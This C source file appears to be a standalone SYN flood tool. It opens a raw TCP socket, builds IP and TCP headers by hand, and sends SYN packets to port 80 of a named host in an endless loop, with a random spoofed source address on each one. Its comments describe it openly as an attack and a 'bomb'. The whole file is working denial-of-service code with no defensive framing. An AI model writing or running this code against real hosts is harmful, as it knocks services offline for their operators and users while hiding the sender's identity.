#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <netdb.h>
#define DESTPORT 80 /* the port we are going to attack */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
/**** using IPPROTO_TCP to create a TCP RAW Socket ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
/******** set the IP data packet format, and tell the system that we fill in the IP data packet ourselves ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** to get the super id to use the RAW socket *********/
setuid(getpid());
/********* to send bomb ****/
send_tcp(sockfd,&addr);
}
/******* to complete the bomb *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** to contain our own data packet ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* the length is the sum of the ip and tcp ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** to fill in the header of the ip data packet ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** popularly the version is 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** the head length of IP data packet **/
ip->ip_tos=0; /** service type **/
ip->ip_len=htons(head_len); /** the length of IP data packet **/
ip->ip_id=0; /** to tell the system to do it **/
ip->ip_off=0; /** the same to the above **/
ip->ip_ttl=MAXTTL; /** the longest time 255 **/
ip->ip_p=IPPROTO_TCP; /** what we will send is the tcp packet **/
ip->ip_sum=0; /** the check sum task is left to system **/
ip->ip_dst=addr->sin_addr; /** the destination we want to attack **/
/******* to fill in the tcp packet *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** dest port **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** we want to create a connection **/
tcp->check=0;
/** ok every thing is ok **/
while(1)
{
/** you do not know where i am from, so wait ..... **/
ip->ip_src.s_addr=random();
/** we check the info header ourselves */
/** it is dispensable */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
/* */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}